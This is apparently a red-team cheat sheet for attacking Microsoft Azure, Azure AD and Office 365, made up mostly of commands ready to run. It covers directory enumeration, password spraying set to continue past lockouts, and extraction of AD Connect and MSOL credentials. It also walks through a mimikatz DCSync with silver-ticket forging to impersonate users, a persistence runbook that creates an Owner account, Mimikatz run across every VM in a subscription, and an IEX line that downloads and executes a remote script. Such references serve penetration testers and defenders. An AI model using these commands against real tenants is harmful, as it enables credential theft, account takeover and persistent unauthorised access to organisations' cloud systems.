Azure
Summary
- Tools
- Azure Architecture
- Azure Storage Account - Access
- Azure AD vs Active Directory
- Azure AD - Enumeration
- Azure AD - Password Spray
- Azure AD - Convert GUID to SID
- Azure AD - Sign in with a service principal
- Azure AD Connect - Password extraction
- Azure AD Connect - MSOL Account's password and DCSync
- Azure AD Connect - Seamless Single Sign On Silver Ticket
- Azure AD - ADFS Federation Server ~Cloud Kerberos
- Azure AD - Persistence via Automation accounts
- Azure VM - Execute command as NT SYSTEM with Contributor right
- Office365 - Enumerating Users
- References
Tools
:warning: 16 apr 2019 : BloodHound does not support any analysis with AzureAD.
:warning: Tokens for Azure are cached in C:\Users\[Name]\.Azure\accessTokens.json
-
PowerZure -
require az module ! $ git clone https://github.com/hausec/PowerZure $ ipmo .\PowerZure $ Set-Subscription -Id [idgoeshere] # Reader $ Get-Runbook, Get-AllUsers, Get-Apps, Get-Resources, Get-WebApps, Get-WebAppDetails # Contributor $ Execute-Command -OS Windows -VM Win10Test -ResourceGroup Test-RG -Command "whoami" $ Execute-MSBuild -VM Win10Test -ResourceGroup Test-RG -File "build.xml" $ Get-AllSecrets # AllAppSecrets, AllKeyVaultContents $ Get-AvailableVMDisks, Get-VMDisk # Download a virtual machine's disk # Owner $ Set-Role -Role Contributor -User test@contoso.com -Resource Win10VMTest # Administrator $ Create-Backdoor, Execute-Backdoor
-
Azure CLI - Default azure CLI
$ AZ_REPO=$(lsb_release -cs) echo "deb [arch=amd64] https://packages.microsoft.com/repos/azure-cli/ $AZ_REPO main" | sudo tee /etc/apt/sources.list.d/azure-cli.list $ curl -L https://packages.microsoft.com/keys/microsoft.asc | sudo apt-key add - $ sudo apt-get install apt-transport-https $ sudo apt-get update && sudo apt-get install azure-cli # dump users $ az ad user list --output=table --query='[].{Created:createdDateTime,UPN:userPrincipalName,Name:displayName,Title:jobTitle,Department:department,Email:mail,UserId:mailNickname,Phone:telephoneNumber,Mobile:mobile,Enabled:accountEnabled}'
-
MicroBurst - MicroBurst includes functions and scripts that support Azure Services discovery, weak configuration auditing, and post exploitation actions such as credential dumping
$ git clone https://github.com/NetSPI/MicroBurst PS C:> Import-Module .\MicroBurst.psm1 PS C:> Import-Module .\Get-AzureDomainInfo.ps1 PS C:> Get-AzureDomainInfo -folder MicroBurst -Verbose
-
SkyArk - Discover the most privileged users in the scanned Azure environment - including the Azure Shadow Admins.
Require:- Read-Only permissions over Azure Directory (Tenant)
- Read-Only permissions over Subscription
- Require AZ and AzureAD module or administrator right
$ git clone https://github.com/cyberark/SkyArk $ powershell -ExecutionPolicy Bypass -NoProfile PS C> Import-Module .\SkyArk.ps1 -force PS C> Start-AzureStealth or in the Cloud Console PS C> IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cyberark/SkyArk/master/AzureStealth/AzureStealth.ps1') PS C> Scan-AzureAdmins
-
Azurite Explorer and Azurite Visualizer : Enumeration and reconnaissance activities in the Microsoft Azure Cloud.
git clone https://github.com/mwrlabs/Azurite.git git clone https://github.com/FSecureLABS/Azurite git submodule init git submodule update PS> Import-Module AzureRM PS> Import-Module AzuriteExplorer.ps1 PS> Review-AzureRmSubscription PS> Review-CustomAzureRmSubscription
-
Azucar : Azucar automatically gathers a variety of configuration data and analyses all data relating to a particular subscription in order to determine security risks.
# You should use an account with at least read-permission on the assets you want to access git clone https://github.com/nccgroup/azucar.git PS> Get-ChildItem -Recurse c:\Azucar_V10 | Unblock-File PS> .\Azucar.ps1 -AuthMode UseCachedCredentials -Verbose -WriteLog -Debug -ExportTo PRINT PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000 PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -CertFilePassword MySuperP@ssw0rd! -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000 # resolve the TenantID for an specific username PS> .\Azucar.ps1 -ResolveTenantUserName user@company.com
Azure Architecture
- Azure AD Joined : https://pbs.twimg.com/media/EQZv62NWAAEQ8wE?format=jpg&name=large
- Workplace Joined : https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&name=large
- Hybrid Joined : https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&name=large
- Workplace joined on AADJ or Hybrid : https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&name=large
Azure Storage Account - Access
- Blobs – *.blob.core.windows.net
$ AzCopy /Source:https://myaccount.blob.core.windows.net/mycontainer /Dest:C:\myfolder /SourceKey:key /S
- File Services – *.file.core.windows.net
- Data Tables – *.table.core.windows.net
- Queues – *.queue.core.windows.net z
# https://github.com/NetSPI/MicroBurst
S C:\> Invoke-EnumerateAzureBlobs -Base secure [-BingAPIKey 12345678901234567899876543210123]
Found Storage Account - secure.blob.core.windows.net
Found Storage Account - testsecure.blob.core.windows.net
Found Storage Account - securetest.blob.core.windows.net
Found Storage Account - securedata.blob.core.windows.net
Found Storage Account - securefiles.blob.core.windows.net
Found Storage Account - securefilestorage.blob.core.windows.net
Found Storage Account - securestorageaccount.blob.core.windows.net
Found Storage Account - securesql.blob.core.windows.net
Found Storage Account - hrsecure.blob.core.windows.net
Found Storage Account - secureit.blob.core.windows.net
Found Storage Account - secureimages.blob.core.windows.net
Found Storage Account - securestorage.blob.core.windows.net
Bing Found Storage Account - notrealstorage.blob.core.windows.net
Found Container - hrsecure.blob.core.windows.net/NETSPItest
Azure AD vs Active Directory
Active Directory | Azure AD |
---|---|
LDAP | REST API'S |
NTLM/Kerberos | OAuth/SAML/OpenID |
Structured directory (OU tree) | Flat structure |
GPO | No GPO's |
Super fine-tuned access controls | Predefined roles |
Domain/forest | Tenant |
Trusts | Guests |
- Password Hash Syncronization (PHS)
- Passwords from on-premise AD are sent to the cloud
- Use replication via a service account created by AD Connect
- Pass Through Authentication (PTA)
- Possible to perform DLL injection into the PTA agent and intercept authentication requests: credentials in clear-text
- Connect Windows Server AD to Azure AD using Federation Server (ADFS)
- Dir-Sync : Handled by on-premise Windows Server AD, sync username/password
Azure AD - Enumeration
By default it is possible to query almost all the information about the directory as authenticated user, even when the Azure portal is restricted, using Azure AD Graph.
Check if the compagny is using Azure AD with https://login.microsoftonline.com/getuserrealm.srf?login=username@target.onmicrosoft.com&xml=1
.
$ git clone https://github.com/dirkjanm/ROADtools
$ pip install roadrecon
$ roadrecon auth [-h] [-u USERNAME] [-p PASSWORD] [-t TENANT] [-c CLIENT] [--as-app] [--device-code] [--access-token ACCESS_TOKEN] [--refresh-token REFRESH_TOKEN] [-f TOKENFILE] [--tokens-stdout]
$ roadrecon gather [-h] [-d DATABASE] [-f TOKENFILE] [--tokens-stdin] [--mfa]
$ roadrecon dump
$ roadrecon gui
Can be used in BloodHound using the fork : https://github.com/dirkjanm/BloodHound-AzureAD
PS C:\> git clone https://github.com/adrecon/AzureADRecon.git
PS C:\> Install-Module -Name AzureAD
PS C:\> .\AzureADRecon.ps1
or
PS C:\> $username = "username@fqdn"
PS C:\> $passwd = ConvertTo-SecureString "PlainTextPassword" -AsPlainText -Force
PS C:\> $creds = New-Object System.Management.Automation.PSCredential ($username, $passwd)
PS C:\> .\AzureADRecon.ps1 -Credential $creds
PS C:\>.\AzureADRecon.ps1 -GenExcel C:\AzureADRecon-Report-<timestamp>
Stormspotter, graphing Azure and Azure Active Directory objects
$ docker run --name stormspotter -p7474:7474 -p7687:7687 -d --env NEO4J_AUTH=neo4j/[password] neo4j:3.5.18
git clone https://github.com/Azure/Stormspotter
cd Stormspotter
pipenv install .
stormspotter --cli
stormdash -dbu <neo4j-user> -dbp <neo4j-pass>
Browse to http://127.0.0.1:8050 to interact with the graph.
Other interesting commands to enumerate Azure AD.
# Azure AD powershell module
Get-AzureADDirectoryRole
# MSOnline powershell module
Get-MsolRole
Get-MsolRoleMember -RoleObjectId XXXXXXXXXX-XXXX-XXXX... | fl
#Connect to Azure AD using Powershell
install-module azuread
import-module azuread
get-module azuread
connect-azuread
# Get list of users with role global admins# Note that role =! group
$role = Get-AzureADDirectoryRole | Where-Object {$_.displayName -eq 'Company Administrator'}
Get-AzureADDirectoryRoleMember -ObjectId $role.ObjectId
# Get all groups and an example using filter
Get-AzureADGroup
Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'"
# Get Azure AD policy
Get-AzureADPolicy
# Get Azure AD roles with some examples
Get-AzureADDirectoryRole
Get-AzureADDirectoryRole | Where-Object {$_.displayName -eq 'Security Reader'}
Get-AzureADDirectoryRoleTemplate
# Get Azure AD SPNs
Get-AzureADServicePrincipal
# Log in using Azure CLI (this is not powershell)
az login --allow-no-subscriptions
# Get member list using Azure CLI
az ad group member list --output=json --query='[].{Created:createdDateTime,UPN:userPrincipalName,Name:displayName,Title:jobTitle,Department:department,Email:mail,UserId:mailNickname,Phone:telephoneNumber,Mobile:mobile,Enabled:accountEnabled}' --group='Company Administrators'
# Get user list
az ad user list --output=json --query='[].{Created:createdDateTime,UPN:userPrincipalName,Name:displayName,Title:jobTitle,Department:department,Email:mail,UserId:mailNickname,Phone:telephoneNumber,Mobile:mobile,Enabled:accountEnabled}' --upn='username@domain.com'
#PS script to get array of users / roles
$roleUsers = @()
$roles=Get-AzureADDirectoryRole
ForEach($role in $roles) {
$users=Get-AzureADDirectoryRoleMember -ObjectId $role.ObjectId
ForEach($user in $users) {
write-host $role.DisplayName,$user.DisplayName
$obj = New-Object PSCustomObject
$obj | Add-Member -type NoteProperty -name RoleName -value ""
$obj | Add-Member -type NoteProperty -name UserDisplayName -value ""
$obj | Add-Member -type NoteProperty -name IsAdSynced -value false
$obj.RoleName=$role.DisplayName
$obj.UserDisplayName=$user.DisplayName
$obj.IsAdSynced=$user.DirSyncEnabled -eq $true
$roleUsers+=$obj
}
}
$roleUsers
### Enumeration using Microburst
git clone https://github.com/NetSPI/MicroBurst/blob/master/Get-AzureADDomainInfo.ps1
Import-Module .\MicroBurst.psm1
# Anonymous enumeration
Invoke-EnumerateAzureBlobs -Base company
Invoke-EnumerateAzureSubDomains -base company -verbose
# Authencticated enumeration
Get-AzureADDomainInfo
Get-AzureDomainInfo -folder MicroBurst -VerboseGet-MSOLDomainInfo
Get-MSOLDomainInfo
With Microsoft, if you are using any cloud services (Office 365, Exchange Online, etc) with Active Directory (on-prem or in Azure) then an attacker is one credential away from being able to leak your entire Active Directory structure thanks to Azure AD.
- Authenticate to your webmail portal (i.e. https://webmail.domain.com/)
- Change your browser URL to: https://azure.microsoft.com/
- Pick the account from the active sessions
- Select Azure Active Directory and enjoy!
Azure AD - Password Spray
Default lockout policy of 10 failed attempts, locking out an account for 60 seconds
git clone https://github.com/dafthack/MSOLSpray
Import-Module .\MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020
Invoke-MSOLSpray -UserList .\users.txt -Password d0ntSprayme!
# UserList - UserList file filled with usernames one-per-line in the format "user@domain.com"
# Password - A single password that will be used to perform the password spray.
# OutFile - A file to output valid results to.
# Force - Forces the spray to continue and not stop when multiple account lockouts are detected.
# URL - The URL to spray against. Potentially useful if pointing at an API Gateway URL generated with something like FireProx to randomize the IP address you are authenticating from.
Azure AD - Convert GUID to SID
The user's AAD id is translated to SID by concatenating "S-1–12–1-"
to the decimal representation of each section of the AAD Id.
GUID: [base16(a1)]-[base16(a2)]-[ base16(a3)]-[base16(a4)]
SID: S-1–12–1-[base10(a1)]-[ base10(a2)]-[ base10(a3)]-[ base10(a4)]
For example, the representation of 6aa89ecb-1f8f-4d92–810d-b0dce30b6c82
is S-1–12–1–1789435595–1301421967–3702525313–2188119011
Azure AD - Sign in with a service principal
:warning: Service Principal accounts do not require MFA. Anyone with control over Service Principals can assign credentials to them and potentially escalate privileges.
-
Password based authentication
# Use the service principal ID for the username $pscredential = Get-Credential Connect-AzAccount -ServicePrincipal -Credential $pscredential -Tenant $tenantId
-
Certificate based authentication
Connect-AzAccount -ApplicationId $appId -Tenant $tenantId -CertificateThumbprint <thumbprint>
Azure AD Connect - Password extraction
Credentials in AD Sync : C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf
Tool | Requires code execution on target | DLL dependencies | Requires MSSQL locally | Requires python locally |
---|---|---|---|---|
ADSyncDecrypt | Yes | Yes | No | No |
ADSyncGather | Yes | No | No | Yes |
ADSyncQuery | No (network RPC calls only) | No | Yes | Yes |
git clone https://github.com/fox-it/adconnectdump
# DCSync with AD Sync account
Azure AD Connect - MSOL Account's password and DCSync
You can perform DCSync attack using the MSOL account.
Prerequisite:
- Compromise a server with Azure AD Connect service
- Access to ADSyncAdmins or local Administrators groups
Use the script azuread_decrypt_msol.ps1 from @xpn to recover the decrypted password for the MSOL account:
azuread_decrypt_msol.ps1
: AD Connect Sync Credential Extract POC https://gist.github.com/xpn/0dc393e944d8733e3c63023968583545azuread_decrypt_msol_v2.ps1
: Updated method of dumping the MSOL service account (which allows a DCSync) used by Azure AD Connect Sync https://gist.github.com/xpn/f12b145dba16c2eebdd1c6829267b90c
Now you can use the retrieved credentials for the MSOL Account to launch a DCSync attack.
Azure AD Connect - Seamless Single Sign On Silver Ticket
Anyone who can edit properties of the AZUREADSSOACCS$ account can impersonate any user in Azure AD using Kerberos (if no MFA)
:warning: The password of the AZUREADSSOACC account never changes.
Using https://autologon.microsoftazuread-sso.com/ to convert Kerberos tickets to SAML and JWT for Office 365 & Azure
- NTLM password hash of the AZUREADSSOACC account, e.g.
f9969e088b2c13d93833d0ce436c76dd
.mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
- AAD logon name of the user we want to impersonate, e.g.
elrond@contoso.com
. This is typically either his userPrincipalName or mail attribute from the on-prem AD. - SID of the user we want to impersonate, e.g.
S-1-5-21-2121516926-2695913149-3163778339-1234
. - Create the Silver Ticket and inject it into Kerberos cache:
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:f9969e088b2c13d93833d0ce436c76dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit
- Launch Mozilla Firefox
- Go to about:config and set the
network.negotiate-auth.trusted-uris preference
to valuehttps://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com
- Navigate to any web application that is integrated with our AAD domain. Fill in the user name, while leaving the password field empty.
Azure AD - ADFS Federation Server ~Cloud Kerberos
Discover Federation Servers
- adfs
- auth
- fs
- okta
- ping
- sso
- sts
OWA Version Discovery : autodiscover.domain.com
Azure AD - Persistence via Automation accounts
- Create a new Automation Account
- "Create Azure Run As account": Yes
- Import a new runbook that creates an AzureAD user with Owner permissions for the subscription*
- Sample runbook for this Blog located here – https://github.com/NetSPI/MicroBurst
- Publish the runbook
- Add a webhook to the runbook
- Add the AzureAD module to the Automation account
- Update the Azure Automation Modules
- Assign "User Administrator" and "Subscription Owner" rights to the automation account
- Eventually lose your access…
- Trigger the webhook with a post request to create the new user
$uri = "https://s15events.azure-automation.net/webhooks?token=h6[REDACTED]%3d" $AccountInfo = @(@{RequestBody=@{Username="BlogDemoUser";Password="Password123"}}) $body = ConvertTo-Json -InputObject $AccountInfo $response = Invoke-WebRequest -Method Post -Uri $uri -Body $body
Azure VM - Execute command as NT SYSTEM with Contributor right
Allow anyone with "Contributor" rights to run PowerShell scripts on any Azure VM in a subscription as NT Authority\System
PS C:\> Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
ResourceGroupName Name
----------------- ----
TESTRESOURCES Remote-Test
PS C:\> Invoke-AzureRmVMRunCommand -ResourceGroupName TESTRESOURCES -VMName Remote-Test -CommandId RunPowerShellScript -ScriptPath Mimikatz.ps1
Against the whole subscription using MicroBurst.ps1
Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
Office365 - Enumerating Users
NOTE: By default, O365 has a lockout policy of 10 tries, and it will lock out an account for one (1) minute.
- Bruteforce user enum : https://bitbucket.org/grimhacker/office365userenum/src/master/ based on the endpoint https://login.microsoftonline.com/getuserrealm.srf?login=firstname.lastname@domain.com&xml=1
RealmInfo Success="true"> <State>3</State> <UserState>2</UserState> <Login>firstname.lastname@domain.com</Login> <NameSpaceType>Federated</NameSpaceType> <DomainName>domain.com</DomainName> <FederationGlobalVersion>-1</FederationGlobalVersion> <AuthURL> https://fws.domain.com/o365/visfed/intrdomain/se/?username=firstname.lastname%40domain.com&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx= </AuthURL>
- Validate email : https://github.com/LMGsec/o365creeper
o365creeper.py -f emails.txt -o validemails.txt
- Extract email lists with a valid credentials : https://github.com/nyxgeek/o365recon
References
- An introduction to penetration testing Azure - Graceful Security
- Running Powershell scripts on Azure VM - Netspi
- Attacking Azure Cloud shell - Netspi
- Maintaining Azure Persistence via automation accounts - Netspi
- Detecting an attacks on active directory with Azure - Smartspate
- Azure AD Overview
- Windows Azure Active Directory in plain English
- Building Free Active Directory Lab in Azure - @kamran.bilgrami
- Attacking Azure/Azure AD and introducing Powerzure - SpecterOps
- Azure AD connect for RedTeam - @xpnsec
- Azure Privilege Escalation Using Managed Identities - Karl Fosaaen - February 20th, 2020
- Hunting Azure Admins for Vertical Escalation - LEE KAGAN - MARCH 13, 2020
- Introducing ROADtools - The Azure AD exploration framework - Dirk-jan Mollema
- Moving laterally between Azure AD joined machines - Tal Maor - Mar 17, 2020
- AZURE AD INTRODUCTION FOR RED TEAMERS - Written by Aymeric Palhière (bak) - 2020-04-20
- Impersonating Office 365 Users With Mimikatz - January 15, 2017 - Michael Grafnetter